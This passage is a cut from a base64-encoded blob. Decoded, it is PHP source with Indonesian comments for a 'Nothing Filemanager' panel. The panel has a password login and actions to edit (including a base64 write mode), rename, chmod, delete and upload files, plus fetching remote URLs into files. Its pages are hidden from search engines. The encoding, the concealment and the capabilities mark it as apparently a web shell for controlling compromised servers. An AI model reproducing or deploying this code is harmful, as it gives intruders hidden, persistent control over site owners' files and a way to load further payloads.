zaCkgPj0gNjAgJiYgKCRoYXNoWzBdLiRoYXNoWzFdKSA9PT0gJyQyJykgew0KICAgIHJldHVybiBjcnlwdCgkcGFzc3dvcmQsICRoYXNoKSA9PT0gJGhhc2g7DQogIH0NCiAgLy8gQmlsYSBidWthbiBiY3J5cHQsIG1hdGlrYW4gKGRlbWkga2VhbWFuYW4pDQogIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gdmVyaWZ5X2xvZ2luX2NyZWRzKCR1LCAkcCkgew0KICBpZiAoJHUgIT09IEFVVEhfVVNFUikgcmV0dXJuIGZhbHNlOw0KICAkaGFzaCA9IEFVVEhfUEFTU19IQVNIOw0KICBpZiAoJGhhc2ggPT09ICcnIHx8IHN0cmxlbigkaGFzaCkgPCAyMCkgeyAgLy8gc2FmZXR5OiBqYW5nYW4gaXppbmthbiBsb2dpbiB0YW5wYSBoYXNoIHZhbGlkDQogICAgcmV0dXJuIGZhbHNlOw0KICB9DQogIHJldHVybiBiaXJ1X3Bhc3N3b3JkX3ZlcmlmeSgkcCwgJGhhc2gpOw0KfQ0KDQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09IFNWRyBJQ09OUyA9PT09PT09PT09PT09PT09PT09PT09PSAqLw0KZnVuY3Rpb24gc3ZnSWNvbigkbmFtZSwgJGNsYXNzPSdpY28nKSB7DQogICRpY29ucyA9IGFycmF5KA0KICAgICdmb2xkZXInID0+ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgY2xhc3M9IicuJGNsYXNzLiciIGFyaWEtaGlkZGVuPSJ0cnVlIj48cGF0aCBkPSJNMTAgNGwyIDJoNmEyIDIgMCAwMTIgMnYxSDRWNmEyIDIgMCAwMTItMmg0eiIgZmlsbD0iY3VycmVudENvbG9yIiBvcGFjaXR5PSIuMTIiLz48cGF0aCBkPSJNMyA5aDE4djlhMiAyIDAgMDEtMiAySDVhMiAyIDAgMDEtMi0yVjl6IiBmaWxsPSJjdXJyZW50Q29sb3IiLz48L3N2Zz4nLA0KICAgICdmaWxlJyAgID0+ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgY2xhc3M9IicuJGNsYXNzLiciIGFyaWEtaGlkZGVuPSJ0cnVlIj48cGF0aCBkPSJNNiAzaDdsNSA1djExYTIgMiAwIDAxLTIgMkg2YTIgMiAwIDAxLTItMlY1YTIgMiAwIDAxMi0yeiIgZmlsbD0iY3VycmVudENvbG9yIiBvcGFjaXR5PSIuMTIiLz48cGF0aCBkPSJNMTMgM3Y1YTIgMiAwIDAwMiAyaDUiIGZpbGw9Im5vbmUiIHN0cm9rZT0iY3VycmVudENvbG9yIiBzdHJva2Utd2lkdGg9IjIiIHN0cm9rZS1saW5lam9pbj0icm91bmQiLz48L3N2Zz4nLA0KICAgICdjb2RlJyAgID0+ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgY2xhc3M9IicuJGNsYXNzLiciPjxwYXRoIGQ9Ik04IDE2bC00LTQgNC00TTE2IDhsNCA0LTQgNCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSJjdXJyZW50Q29sb3IiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIi8+PC9zdmc+JywNCiAgICAndGV4dCcgICA9PiAnPHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiIGNsYXNzPSInLiRjbGFzcy4nIj48cGF0aCBkPSJNNCA2aDE2TTQgMTJoMTZNNCAxOGgxMCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSJjdXJyZW50Q29sb3IiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIi8+PC9zdmc+JywNCiAgICAnaW1nJyAgICA9PiAnPHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiIGNsYXNzPSInLiRjbGFzcy4nIj48cGF0aCBkPSJNNCA1aDE2djE0SDR6IiBmaWxsPSJjdXJyZW50Q29sb3IiIG9wYWNpdHk9Ii4xMiIvPjxjaXJjbGUgY3g9IjguNSIgY3k9IjkuNSIgcj0iMS41IiBmaWxsPSJjdXJyZW50Q29sb3IiLz48cGF0aCBkPSJNNCAxNmw0LTQgMyAzIDMtMiA2IDUiIGZpbGw9Im5vbmUiIHN0cm9rZT0iY3VycmVudENvbG9yIiBzdHJva2Utd2lkdGg9IjIiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPjwvc3ZnPicsDQogICAgJ3BkZicgICAgPT4gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiBjbGFzcz0iJy4kY2xhc3MuJyI+PHBhdGggZD0iTTYgM2g3bDUgNXYxMWEyIDIgMCAwMS0yIDJINmEyIDIgMCAwMS0yLTJWNWEyIDIgMCAwMTItMnoiIGZpbGw9ImN1cnJlbnRDb2xvciIgb3BhY2l0eT0iLjEyIi8+PHRleHQgeD0iNyIgeT0iMTciIGZvbnQtc2l6ZT0iOCIgZm9udC1mYW1pbHk9InVpLXNhbnMtc2VyaWYiIGZpbGw9ImN1cnJlbnRDb2xvciI+UERGPC90ZXh0Pjwvc3ZnPicsDQogICAgJ3NoZWV0JyAgPT4gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiBjbGFzcz0iJy4kY2xhc3MuJyI+PHBhdGggZD0iTTYgM2gxMmEyIDIgMCAwMTIgMnYxNGEyIDIgMCAwMS0yIDJINmEyIDIgMCAwMS0yLTJWNSIgZmlsbD0iY3VycmVudENvbG9yIiBvcGFjaXR5PSIuMTIiLz48cGF0aCBkPSJNOCA4aDhNOCAxMmg4TTggMTZoOCIgc3Ryb2tlPSJjdXJyZW50Q29sb3IiIHN0cm9rZS13aWR0aD0iMiIvPjwvc3ZnPicsDQogICAgJ3ppcCcgICAgPT4gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiBjbGFzcz0iJy4kY2xhc3MuJyI+PHBhdGggZD0iTTYgM2g3bDUgNXYxMWEyIDIgMCAwMS0yIDJINmEyIDIgMCAwMS0yLTJWNSIgZmlsbD0iY3VycmVudENvbG9yIiBvcGFjaXR5PSIuMTIiLz48cGF0aCBkPSJNMTEgNWgydjJoLTJ2MmgydjJoLTJ2MmgydjJoLTIiIHN0cm9rZT0iY3VycmVudENvbG9yIiBzdHJva2Utd2lkdGg9IjIiLz48L3N2Zz4nLA0KICAgICdkYicgICAgID0+ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgY2xhc3M9IicuJGNsYXNzLiciPjxlbGxpcHNlIGN4PSIxMiIgY3k9IjYiIHJ4PSI4IiByeT0iMyIgZmlsbD0iY3VycmVudENvbG9yIiBvcGFjaXR5PSIuMTIiLz48cGF0aCBkPSJNNCA2djEyYzAgMS43IDMuNiAzIDggM3M4LTEuMyA4LTNWNiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSJjdXJyZW50Q29sb3IiIHN0cm9rZS13aWR0aD0iMiIvPjwvc3ZnPicsDQogICk7DQogIHJldHVybiBpc3NldCgkaWNvbnNbJG5hbWVdKSA/ICRpY29uc1skbmFtZV0gOiAkaWNvbnNbJ2ZpbGUnXTsNCn0NCg0KZnVuY3Rpb24gaWNvblN2Z0ZvcigkcCkgew0KICBpZiAoaXNfZGlyKCRwKSkgcmV0dXJuIHN2Z0ljb24oJ2ZvbGRlcicpOw0KICAkZSA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHAsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KICBpZiAoaW5fYXJyYXkoJGUsIGFycmF5KCd6aXAnLCdyYXInLCc3eicpKSkgcmV0dXJuIHN2Z0ljb24oJ3ppcCcpOw0KICBpZiAoaW5fYXJyYXkoJGUsIGFycmF5KCdqcGcnLCdqcGVnJywncG5nJywnZ2lmJywnd2VicCcsJ2JtcCcsJ3N2ZycpKSkgcmV0dXJuIHN2Z0ljb24oJ2ltZycpOw0KICBpZiAoaW5fYXJyYXkoJGUsIGFycmF5KCdwZGYnKSkpIHJldHVybiBzdmdJY29uKCdwZGYnKTsNCiAgaWYgKGluX2FycmF5KCRlLCBhcnJheSgnY3N2JywneGxzJywneGxzeCcpKSkgcmV0dXJuIHN2Z0ljb24oJ3NoZWV0Jyk7DQogIGlmIChpbl9hcnJheSgkZSwgYXJyYXkoJ3NxbCcpKSkgcmV0dXJuIHN2Z0ljb24oJ2RiJyk7DQogIGlmIChpbl9hcnJheSgkZSwgYXJyYXkoJ3BocCcsJ2pzJywndHMnLCdjc3MnLCdzY3NzJywnbGVzcycsJ2h0bWwnLCdodG0nLCd4bWwnLCd5bWwnLCd5YW1sJywnaW5pJywnY2ZnJykpKSByZXR1cm4gc3ZnSWNvbignY29kZScpOw0KICBpZiAoaW5fYXJyYXkoJGUsIGFycmF5KCd0eHQnLCdtZCcsJ2xvZycsJ2pzb24nKSkpIHJldHVybiBzdmdJY29uKCd0ZXh0Jyk7DQogIHJldHVybiBzdmdJY29uKCdmaWxlJyk7DQp9DQoNCi8qID09PT09PT09PT09PT09PT09IFBBVEggJiBBQ1RJT04gUk9VVElORyA9PT09PT09PT09PT09PT09PSAqLw0KDQokY3VycmVudCA9IGlzc2V0KCRfR0VUWydwJ10pID8gKHN0cmluZykkX0dFVFsncCddIDogZ2V0Y3dkKCk7DQppZiAoIWlzX2RpcigkY3VycmVudCkpICRjdXJyZW50ID0gZ2V0Y3dkKCk7DQokY3VycmVudCA9IHJ0cmltKCRjdXJyZW50LCBESVJFQ1RPUllfU0VQQVJBVE9SKTsNCmlmICgkY3VycmVudCA9PT0gJycpICRjdXJyZW50ID0gRElSRUNUT1JZX1NFUEFSQVRPUjsNCg0KJGFjdGlvbiA9IGlzc2V0KCRfR0VUWydhJ10pID8gJF9HRVRbJ2EnXSA6ICcnOw0KDQovKiA9PT09PT0gQXV0aCBGbG93ID09PT09PSAqLw0KaWYgKCRhY3Rpb24gPT09ICdsb2dpbicgJiYgJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICBlbnN1cmVDc3JmKCk7DQogICR1ID0gaXNzZXQoJF9QT1NUWyd1c2VyJ10pID8gKHN0cmluZykkX1BPU1RbJ3VzZXInXSA6ICcnOw0KICAkcCA9IGlzc2V0KCRfUE9TVFsncGFzcyddKSA/IChzdHJpbmcpJF9QT1NUWydwYXNzJ10gOiAnJzsNCiAgaWYgKHZlcmlmeV9sb2dpbl9jcmVkcygkdSwgJHApKSB7DQogICAgJF9TRVNTSU9OWydhdXRoJ10gPSB0cnVlOw0KICAgICRfU0VTU0lPTlsnd2hvJ10gID0gJHU7DQogICAgaGVhZGVyKCdMb2NhdGlvbjogP3A9Jy5yYXd1cmxlbmNvZGUoJGN1cnJlbnQpKTsNCiAgICBleGl0Ow0KICB9IGVsc2Ugew0KICAgIHJlbmRlcl9sb2dpbignVXNlcm5hbWUgYXRhdSBwYXNzd29yZCBzYWxhaCcpOw0KICAgIGV4aXQ7DQogIH0NCn0NCmlmIChlbXB0eSgkX1NFU1NJT05bJ2F1dGgnXSkpIHsNCiAgcmVuZGVyX2xvZ2luKCk7DQogIGV4aXQ7DQp9DQoNCi8qID09PT09PSBEb3dubG9hZCAoc2V0ZWxhaCBsb2dpbikgPT09PT09ICovDQppZiAoJGFjdGlvbiA9PT0gJ2Rvd25sb2FkJykgew0KICAkZiA9IHNhZmVKb2luKCRjdXJyZW50LCBpc3NldCgkX0dFVFsnZiddKSA/ICRfR0VUWydmJ10gOiAnJyk7DQogIGlmICghaXNfZmlsZSgkZikgfHwgIWlzX3JlYWRhYmxlKCRmKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZXhpdCgnTm90IGZvdW5kJyk7IH0NCiAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZikuJyInKTsNCiAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkZikpOw0KICBoZWFkZXIoJ1gtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmYnKTsNCiAgcmVhZGZpbGUoJGYpOw0KICBleGl0Ow0KfQ0KDQovKiA9PT09PT0gUE9TVCBBY3Rpb25zIChidXR1aCBsb2dpbikgPT09PT09ICovDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICBlbnN1cmVDc3JmKCk7DQogICRiYWNrID0gZnVuY3Rpb24oKSB1c2UgKCRjdXJyZW50KXsgaGVhZGVyKCdMb2NhdGlvbjogP3A9Jy5yYXd1cmxlbmNvZGUoJGN1cnJlbnQpKTsgZXhpdDsgfTsNCg0KICBzd2l0Y2ggKCRhY3Rpb24pIHsNCiAgICBjYXNlICdsb2dvdXQnOiB7DQogICAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCiAgICAgIGhlYWRlcignTG9jYXRpb246ID8nKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICAgIGNhc2UgJ2VkaXQtc2F2ZSc6IHsNCiAgICAgICRmaWxlID0gc2FmZUpvaW4oJGN1cnJlbnQsIGlzc2V0KCRfUE9TVFsnZmlsZSddKSA/ICRfUE9TVFsnZmlsZSddIDogJycpOw0KICAgICAgJGNvbnRlbnQgPSBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkgPyAoc3RyaW5nKSRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAkbW9kZSA9IGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsnbW9kZSddIDogJ3R4dCc7IC8vICd0eHQnIHwgJ2I2NCcNCiAgICAgIGlmICghaXNfZmlsZSgkZmlsZSkgfHwgIWlzX3dyaXRhYmxlKCRmaWxlKSkgeyAkX1NFU1NJT05bJ21zZyddID0gJ0dhZ2FsIHNpbXBhbiAodGlkYWsgd3JpdGFibGUpJzsgcmV0dXJuICRiYWNrKCk7IH0NCg0KICAgICAgaWYgKCRtb2RlID09PSAnYjY0Jykgew0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQsIHRydWUpOw0KICAgICAgICBpZiAoJGRhdGEgPT09IGZhbHNlKSB7DQogICAgICAgICAgJF9TRVNTSU9OWydtc2cnXSA9ICdHYWdhbCBzaW1wYW46IEJhc2U2NCB0aWRhayB2YWxpZCc7DQogICAgICAgICAgcmV0dXJuICRiYWNrKCk7DQogICAgICAgIH0NCiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkZGF0YSk7DQogICAgICB9IGVsc2Ugew0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb250ZW50KTsNCiAgICAgIH0NCiAgICAgICRfU0VTU0lPTlsnbXNnJ10gPSAnRGlzaW1wYW46ICcuYmFzZW5hbWUoJGZpbGUpOw0KICAgICAgcmV0dXJuICRiYWNrKCk7DQogICAgfQ0KICAgIGNhc2UgJ3JlbmFtZSc6IHsNCiAgICAgICRvbGQgPSBzYWZlSm9pbigkY3VycmVudCwgaXNzZXQoJF9QT1NUWydvbGQnXSkgPyAkX1BPU1RbJ29sZCddIDogJycpOw0KICAgICAgJG5ldyA9IHRyaW0oaXNzZXQoJF9QT1NUWyduZXcnXSkgPyAoc3RyaW5nKSRfUE9TVFsnbmV3J10gOiAnJyk7DQogICAgICBpZiAoJG5ldyA9PT0gJycgfHwgc3RycG9zKCRuZXcsIERJUkVDVE9SWV9TRVBBUkFUT1IpICE9PSBmYWxzZSkgJF9TRVNTSU9OWydtc2cnXT0nTmFtYSBiYXJ1IHRpZGFrIHZhbGlkJzsNCiAgICAgIGVsc2Ugew0KICAgICAgICAkZHN0ID0gc2FmZUpvaW4oJGN1cnJlbnQsICRuZXcpOw0KICAgICAgICAkX1NFU1NJT05bJ21zZyddID0gQHJlbmFtZSgkb2xkLCAkZHN0KSA/ICdSZW5hbWUgT0snIDogJ1JlbmFtZSBnYWdhbCc7DQogICAgICB9DQogICAgICByZXR1cm4gJGJhY2soKTsNCiAgICB9DQogICAgY2FzZSAnY2htb2QnOiB7DQogICAgICAkdGFyZ2V0ID0gc2FmZUpvaW4oJGN1cnJlbnQsIGlzc2V0KCRfUE9TVFsndGFyZ2V0J10pID8gJF9QT1NUWyd0YXJnZXQnXSA6ICcnKTsNCiAgICAgICRtb2RlID0gbW9kZUZyb21JbnB1dChpc3NldCgkX1BPU1RbJ21vZGUnXSkgPyAoc3RyaW5nKSRfUE9TVFsnbW9kZSddIDogJzA2NDQnKTsNCiAgICAgICRyZWMgPSAhZW1wdHkoJF9QT1NUWydyZWN1cnNpdmUnXSk7ICRvayA9IHRydWU7DQogICAgICBiaXJ1X2FwcGx5X2NobW9kKCR0YXJnZXQsICRtb2RlLCAkcmVjLCAkb2spOw0KICAgICAgJF9TRVNTSU9OWydtc2cnXSA9ICRvayA/ICdDaG1vZCBPSycgOiAnU2ViYWdpYW4gY2htb2QgZ2FnYWwnOw0KICAgICAgcmV0dXJuICRiYWNrKCk7DQogICAgfQ0KICAgIGNhc2UgJ2RlbGV0ZSc6IHsNCiAgICAgICR0ID0gc2FmZUpvaW4oJGN1cnJlbnQsIGlzc2V0KCRfUE9TVFsndGFyZ2V0J10pID8gJF9QT1NUWyd0YXJnZXQnXSA6ICcnKTsNCiAgICAgICRfU0VTU0lPTlsnbXNnJ10gPSBycm1kaXIoJHQpID8gJ0hhcHVzIE9LJyA6ICdIYXB1cyBnYWdhbCc7DQogICAgICByZXR1cm4gJGJhY2soKTsNCiAgICB9DQogICAgY2FzZSAnbWFzcy1kZWxldGUnOiB7DQogICAgICAkYXJyID0gaXNzZXQoJF9QT1NUWydpdGVtcyddKSA/ICRfUE9TVFsnaXRlbXMnXSA6IGFycmF5KCk7ICRvaz10cnVlOw0KICAgICAgaWYgKGlzX2FycmF5KCRhcnIpKSBmb3JlYWNoICgkYXJyIGFzICRuKSB7ICRvayA9IHJybWRpcihzYWZlSm9pbigkY3VycmVudCwgJG4pKSAmJiAkb2s7IH0NCiAgICAgICRfU0VTU0lPTlsnbXNnJ10gPSAkb2sgPyAnSGFwdXMgbWFzc2FsIE9LJyA6ICdTZWJhZ2lhbiBnYWdhbCBkaWhhcHVzJzsNCiAgICAgIHJldHVybiAkYmFjaygpOw0KICAgIH0NCiAgICBjYXNlICd1cGxvYWQnOiB7DQogICAgICBpZiAoIWlzc2V0KCRfRklMRVNbJ2ZpbGVzJ10pKSB7ICRfU0VTU0lPTlsnbXNnJ109J1RpZGFrIGFkYSBmaWxlJzsgcmV0dXJuICRiYWNrKCk7IH0NCiAgICAgICRjID0gY291bnQoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddKTsgJG9rPTA7ICRmYWlsPTA7ICRmYWlscz1hcnJheSgpOw0KICAgICAgZm9yICgkaT0wOyAkaTwkYzsgJGkrKykgew0KICAgICAgICAkbmFtZSA9ICRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV07ICR0bXAgPSAkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddWyRpXTsgJGUgPSAkX0ZJTEVTWydmaWxlcyddWydlcnJvciddWyRpXTsNCiAgICAgICAgaWYgKCRlICE9PSBVUExPQURfRVJSX09LKSB7ICRmYWlsKys7ICRmYWlsc1tdID0gIiRuYW1lIChlcnJvciAkZSkiOyBjb250aW51ZTsgfQ0KICAgICAgICBsaXN0KCRkb25lLCR3aHkpID0gdHJ5V3JpdGVGcm9tVG1wKCR0bXAsIHNhZmVKb2luKCRjdXJyZW50LCAkbmFtZSkpOw0KICAgICAgICBpZiAoJGRvbmUpICRvaysrOyBlbHNlIHsgJGZhaWwrKzsgJGZhaWxzW10gPSAiJG5hbWUgKCR3aHkpIjsgfQ0KICAgICAgfQ0KICAgICAgJF9TRVNTSU9OWydtc2cnXSA9ICJVcGxvYWQ6IE9LPSRvazsgR2FnYWw9JGZhaWwiLigkZmFpbHMgPyAnOyAnLmltcGxvZGUoJywgJywgJGZhaWxzKSA6ICcnKTsNCiAgICAgIHJldHVybiAkYmFjaygpOw0KICAgIH0NCiAgICBjYXNlICd1cmwtdXBsb2FkJzogew0KICAgICAgJHVybCA9IHRyaW0oaXNzZXQoJF9QT1NUWyd1cmwnXSkgPyAoc3RyaW5nKSRfUE9TVFsndXJsJ10gOiAnJyk7ICRmbiA9IHRyaW0oaXNzZXQoJF9QT1NUWydmaWxlbmFtZSddKSA/IChzdHJpbmcpJF9QT1NUWydmaWxlbmFtZSddIDogJycpOw0KICAgICAgaWYgKCR1cmwgPT09ICcnKSB7ICRfU0VTU0lPTlsnbXNnJ10gPSAnVVJMIGtvc29uZyc7IHJldHVybiAkYmFjaygpOyB9DQogICAgICBpZiAoJGZuID09PSAnJykgeyAkZm4gPSBiYXNlbmFtZShwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QQVRIKSA/IHBhcnNlX3VybCgkdXJsLCBQSFBfVVJMX1BBVEgpIDogJycpOyBpZiAoJGZuID09PSAnJykgJGZuID0gJ2Rvd25sb2FkLmJpbic7IH0NCiAgICAgIGxpc3QoJG9rLCR3KSA9IGZldGNoVXJsVG9GaWxlKCR1cmwsIHNhZmVKb2luKCRjdXJyZW50LCAkZm4pKTsNCiAgICAgICRfU0VTU0lPTlsnbXNnJ10gPSAkb2sgPyAiVVJMIHRlcnVuZHVoOiAkZm4iIDogIkdhZ2FsIFVSTCB1cGxvYWQ6ICR3IjsNCiAgICAgIHJldHVybiAkYmFjaygpOw0KICAgIH0NCiAgICAvKmNhc2UgJ3VuemlwJzogew0KICAgICAgLy8gKG9wc2lvbmFsKSB1bnppcCBhbWFuIGppa2Egc3VhdHUgc2FhdCBkaWFrdGlma2FuDQogICAgfSovDQogIH0NCn0NCg0KLyogPT09PT09IEhlbHBlciBjaG1vZCByZWt1cnNpZiAodGFucGEgY2xvc3VyZSBhZ2FyIHJhbWFoIFBIUCA1LjIpID09PT09PSAqLw0KZnVuY3Rpb24gYmlydV9hcHBseV9jaG1vZCgkcGF0aCwgJG1vZGUsICRyZWN1cnNpdmUsICYkb2spIHsNCiAgaWYgKCFAY2htb2QoJHBhdGgsICRtb2RlKSkgJG9rID0gZmFsc2U7DQogIGlmICgkcmVjdXJzaXZlICYmIGlzX2RpcigkcGF0aCkpIHsNCiAgICAkaCA9IEBvcGVuZGlyKCRwYXRoKTsNCiAgICBpZiAoJGggIT09IGZhbHNlKSB7DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkdiA9IHJlYWRkaXIoJGgpKSkgew0KICAgICAgICBpZiAoJHYgPT09ICcuJyB8fCAkdiA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgIGJpcnVfYXBwbHlfY2htb2QoJHBhdGguRElSRUNUT1JZX1NFUEFSQVRPUi4kdiwgJG1vZGUsIHRydWUsICRvayk7DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgfSBlbHNlIHsNCiAgICAgICRvayA9IGZhbHNlOw0KICAgIH0NCiAgfQ0KfQ0KDQovKiA9PT09PT09PT09PT09PT09PT09PT0gREFUQSBMSVNUSU5HID09PT09PT09PT09PT09PT09PT09PSAqLw0KJGl0ZW1zID0gbGlzdERpckVudHJpZXMoJGN1cnJlbnQpOw0KJGZpbGVzID0gYXJyYXkoKTsgJGRpcnMgPSBhcnJheSgpOw0KZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCkgew0KICAkZnVsbCA9ICRjdXJyZW50LkRJUkVDVE9SWV9TRVBBUkFUT1IuJGl0Ow0KICBpZiAoaXNfZGlyKCRmdWxsKSkgJGRpcnNbXSA9ICRpdDsgZWxzZSAkZmlsZXNbXSA9ICRpdDsNCn0NCg0KLyogU29ydGluZyBuYXR1cmFsIGNhc2UtaW5zZW5zaXRpdmUgamlrYSB0ZXJzZWRpYSwga2FsYXUgdGlkYWsgZmFsbGJhY2sgKi8NCiRoYXNOYXR1cmFsID0gZGVmaW5lZCgnU09SVF9OQVRVUkFMJyk7DQokaGFzRmxhZ0Nhc2UgPSBkZWZpbmVkKCdTT1JUX0ZMQUdfQ0FTRScpOw0KaWYgKCRoYXNOYXR1cmFsKSB7DQogIHNvcnQoJGRpcnMsICRoYXNGbGFnQ2FzZSA/IChTT1JUX05BVFVSQUx8U09SVF9GTEFHX0NBU0UpIDogU09SVF9OQVRVUkFMKTsNCiAgc29ydCgkZmlsZXMsICRoYXNGbGFnQ2FzZSA/IChTT1JUX05BVFVSQUx8U09SVF9GTEFHX0NBU0UpIDogU09SVF9OQVRVUkFMKTsNCn0gZWxzZSB7DQogIG5hdGNhc2Vzb3J0KCRkaXJzKTsgJGRpcnMgPSBhcnJheV92YWx1ZXMoJGRpcnMpOw0KICBuYXRjYXNlc29ydCgkZmlsZXMpOyAkZmlsZXMgPSBhcnJheV92YWx1ZXMoJGZpbGVzKTsNCn0NCg0KJHVwID0gZGlybmFtZSgkY3VycmVudCk7IGlmICgkdXAgPT09ICRjdXJyZW50KSAkdXAgPSAkY3VycmVudDsNCg0KJGlzRWRpdCAgID0gKChpc3NldCgkX0dFVFsnYSddKSA/ICRfR0VUWydhJ10gOiAnJykgPT09ICdlZGl0JyAmJiBpc3NldCgkX0dFVFsnZiddKSkgPyBzYWZlSm9pbigkY3VycmVudCwgJF9HRVRbJ2YnXSkgOiBudWxsOw0KJGVkaXRGaWxlID0gKCRpc0VkaXQgJiYgaXNfZmlsZSgkaXNFZGl0KSkgPyAkaXNFZGl0IDogbnVsbDsNCg0KLy8gTW9kZSB0YW1waWxhbiBlZGl0b3I6ICd0eHQnIGF0YXUgJ2I2NCcuIERlZmF1bHQgYXV0bzogdGV4dCB1dGsgdGV4dCBmaWxlLCBiYXNlNjQgdXRrIGJpbmFyeS4NCiRtb2RlUGFyYW0gPSBpc3NldCgkX0dFVFsnbW9kZSddKSA/ICRfR0VUWydtb2RlJ10gOiAnYXV0byc7DQokdmlld01vZGUgID0gaW5fYXJyYXkoJG1vZGVQYXJhbSwgYXJyYXkoJ3R4dCcsJ2I2NCcsJ2F1dG8nKSwgdHJ1ZSkgPyAkbW9kZVBhcmFtIDogJ2F1dG8nOw0KDQokY3NyZiA9IGlzc2V0KCRfU0VTU0lPTlsnY3NyZiddKSA/ICRfU0VTU0lPTlsnY3NyZiddIDogJyc7DQo/Pg0KPCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJpZCI+DQo8aGVhZD4NCiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPg0KICA8dGl0bGU+Tm90aGluZyBGaWxlbWFuYWdlcjwvdGl0bGU+DQogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQogIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCxub2ZvbGxvdyxub2FyY2hpdmUsbm9zbmlwcGV0LG5vaW1hZ2VpbmRleCI+DQogIDxtZXRhIG5hbWU9Imdvb2dsZWJvdCIgY29udGVudD0ibm9pbmRleCxub2ZvbGxvdyxub2FyY2hpdmUsbm9zbmlwcGV0LG5vaW1hZ2VpbmRleCI+DQogIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi50YWlsd2luZGNzcy5jb20iPjwvc2NyaXB0Pg0KICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVVidW50dTp3Z2h0QDMwMDs0MDA7NTAwOzcwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+DQo8c3R5bGU+OnJvb3R7Y29sb3Itc2NoZW1lOmRhcmt9aHRtbCxib2R5e2hlaWdodDoxMDAlfWJvZHl7Zm9udC1mYW1pbHk6J1VidW50dScsc3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sU2Vnb2UgVUksUm9ib3RvLCJIZWx2ZXRpY2EgTmV1ZSIsQXJpYWwsIk5vdG8gU2FucyI7YmFja2dyb3VuZDojMDIwNjE3O2NvbG9yOiNlNWU3ZWJ9LnNoZWxse21pbi1oZWlnaHQ6MTAwdmg7YmFja2dyb3VuZDpyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IHRvcCwjMWUyOTNiIDAsIzAyMDYxNyA0NSUsIzAyMDYxNyAxMDAlKTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1ufS5jYXJke2JhY2tncm91bmQ6IzAyMDYxNztib3JkZXI6MXB4IHNvbGlkICMxZjI5Mzc7Ym9yZGVyLXJhZGl1czoxNnB4O2JveC1zaGFkb3c6MCAyMHB4IDQ1cHggcmdiKDAgMCAwIC8gLjkpfS5idG57YmFja2dyb3VuZDojM2I4MmY2O2NvbG9yOiNmOWZhZmI7Ym9yZGVyLXJhZGl1czoxMHB4O3BhZGRpbmc6LjVyZW0gLjc1cmVtO2ZvbnQtc2l6ZTouODc1cmVtO2xpbmUtaGVpZ2h0OjEuMjVyZW07Zm9udC13ZWlnaHQ6NjAwO2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dHJhbnNpdGlvbjp0cmFuc2Zv